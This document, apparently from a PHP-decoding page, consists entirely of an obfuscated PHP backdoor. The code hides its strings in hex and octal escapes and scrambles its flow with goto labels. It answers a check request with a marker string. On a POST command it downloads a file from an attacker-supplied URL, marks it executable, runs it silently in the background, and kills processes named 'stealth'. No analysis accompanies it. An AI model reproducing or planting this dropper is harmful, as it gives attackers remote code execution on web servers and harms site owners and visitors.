PHP Decode

goto O181990862178253; O700854668402796: if (empty($O249636327498188)) { goto O161410757806569; } goto O278000006712919; O740504054607818: exec("\160\x6b\x69\x6c\x6c\x20\55\x66\40\x2d\71\40\x73\x74\145\141\x6c\164\x68"); goto O805681777770727; O037245501571837: $O356239320283298 = "\56\57{$O556786042224963}\40\x3e\x20\57\144\145\166\x2f\x6e\x75\154\154\x20\62\x3e\x2f\x64\145\x76\57\156\x75\154\x6c\40\x26"; goto O315198307834507; O315198307834507: exec($O356239320283298); goto O141255948142432; O141255948142432: echo "\157\x6b"; goto O905939129607119; O366168840799758: O032193298912002: goto O051539149908938; O718527157951959: if (!($_GET["\143\x67"] == "\x63\x68\x6b")) { goto O032193298912002; } goto O074114376772363; O717997996202204: $O556786042224963 = substr(str_shuffle(str_repeat($O404888725230026 = "\x30\61\x32\x33\64\65\66\x37\x38\x39\141\142\143\144\145\146\147\x68\151\x6a\153\x6c\x6d\x6e\x6f\160\x71\162\163\164\165\x76\167\170\x79\172\x41\102\x43\x44\x45\x46\107\x48\x49\112\113\114\115\116\x4f\x50\x51\x52\x53\124\x55\126\x57\x58\x59\132", ceil(6 / strlen($O404888725230026)))), 1, 6); goto O122240737602759; O115470166295932: exec("\x70\x6b\151\154\154\x20\55\71\x20\x2d\x66\x20\163\164\145\x61\154\164\150"); goto O740504054607818; O905939129607119: O161410757806569: goto O852768493045311; O051539149908938: if (!($_POST["\x63\160"] == "\x64\157\167\156\x6c\x6f\x61\144")) { goto O875931507414132; } goto O717997996202204; O278000006712919: @unlink($O556786042224963); goto O115470166295932; O805681777770727: $O281545120418125 = file_get_contents(trim($O249636327498188)); goto O974430450379308; O181990862178253: error_reporting(0); goto O718527157951959; O074114376772363: echo "\141\x75\x78\x36\124\150\145\151\x6f\x47\150\x75\145\x51\165\x33"; goto O332077650201775; O974430450379308: file_put_contents($O556786042224963, $O281545120418125); goto O282409057598301; O122240737602759: $O249636327498188 = $_POST["\165\162\x6c"]; goto O700854668402796; O332077650201775: die; goto O366168840799758; O282409057598301: chmod($O556786042224963, 0755); goto O037245501571837; O852768493045311: O875931507414132